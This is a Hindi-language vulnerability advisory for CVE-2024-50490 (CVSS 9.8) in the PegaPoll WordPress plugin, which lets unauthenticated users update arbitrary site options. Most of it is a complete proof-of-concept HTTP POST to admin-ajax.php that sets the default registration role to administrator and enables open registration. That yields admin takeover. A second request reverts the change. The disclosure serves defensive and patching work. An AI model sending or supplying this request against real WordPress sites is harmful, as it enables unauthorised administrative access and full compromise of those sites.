
PegaPoll <= 1.0.2 - अप्रमाणित मनमाना विकल्प अद्यतन
PegaPoll <= 1.0.2 - अप्रमाणित मनमाने विकल्प अद्यतन
वर्डप्रेस के लिए PegaPoll प्लगइन संस्करण 1.0.2 तक (शामिल) में क्षमता जांच की कमी के कारण डेटा के अनधिकृत संशोधन की कमजोरी है, जो विशेषाधिकार वृद्धि का कारण बन सकती है। इससे अप्रमाणित हमलावरों के लिए वर्डप्रेस साइट पर मनमाने विकल्पों को अपडेट करना संभव हो जाता है। इसका उपयोग पंजीकरण के लिए डिफ़ॉल्ट भूमिका को व्यवस्थापक में अपडेट करने और उपयोगकर्ता पंजीकरण को सक्षम करने के लिए किया जा सकता है, जिससे हमलावरों को एक कमजोर साइट पर व्यवस्थापकीय उपयोगकर्ता पहुंच प्राप्त हो सके।
प्रकाशित: 2024-10-25 00:00:00
CVE: CVE-2024-50490
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS स्कोर: 9.8
स्लग: pegapoll
पंजीकरण सक्षम करें और डिफ़ॉल्ट नया उपयोगकर्ता व्यवस्थापक
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=administrator&options[users_can_register]=1
उपयोगकर्ता पंजीकरण अक्षम करने और उपयोगकर्ता को सदस्य बनाने के लिए वापसी
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=subscriber&options[users_can_register]=0